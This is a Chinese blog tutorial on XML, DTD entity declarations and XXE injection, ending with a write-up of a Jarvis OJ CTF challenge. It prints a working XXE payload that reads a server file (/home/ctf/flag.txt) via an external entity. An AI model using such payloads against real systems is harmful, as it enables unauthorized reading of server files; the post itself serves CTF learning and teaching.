这篇博客主要来分析一下XXE漏洞和它在CTF中出现的情况。 首先,我们来看一下什么是XML。

什么是XML

XML用于标记电子文件,使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

看到XML格式,很容易让人联想到HTML,xmlhtml都是用于操作数据或数据结构,在结构上大致是相同的。但是它们的语法不同,作用不同。XML主要是用来存储、传输数据的。

DTD(文档类型定义)

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。 DTD 可以在 XML 文档内声明,也可以外部引用。 XXE漏洞也在于此。接下来,我们来分别介绍一下内部实体声明与外部实体声明。

内部实体声明: <!ENTITY 实体名称 "实体的值">

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>
<test>&writer;&copyright;</test>

通过上面的声明,将writer 声明为"Bill Gates",copyright 声明为 "Copyright W3School.com.cn" 在下面XML文档元素中就可以直接用&amp;write;&amp;copyright;取出。

外部实体声明:<!ENTITY 实体名称 SYSTEM "URI">``

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

XXE漏洞(XML External Entity)

xxe 也就是xml外部实体注入。

如何构建外部实体注入

任意文件读取

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
<!ENTITY myentity SYSTEM "file:///home/ctf/flag.txt" >]>
<abc>&myentity;</abc>

按照我们上面的理论,如果我们构造以上结构的xml数据提交给xml解析器。如果它正好是返回<abc>&myentity;</abc>这个的内容的话,里面的实体就会被替换成服务器上/home/ctf/flag.txt的内容

CTF例题

Jarvis OJ api调用 题目入口:http://web.jarvisoj.com:9882/ 这道题是一个XXE漏洞的题,似乎也没有什么提示。再提交时,抓包,更改content-Type为text/xml,发送,返回500,如果将提交内容改为xml 格式内容,则正常返回200。 构造xxe注入方法:``

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
<!ENTITY myentity SYSTEM "file:///home/ctf/flag.txt" >]>
<abc>&myentity;</abc>

即可读出flag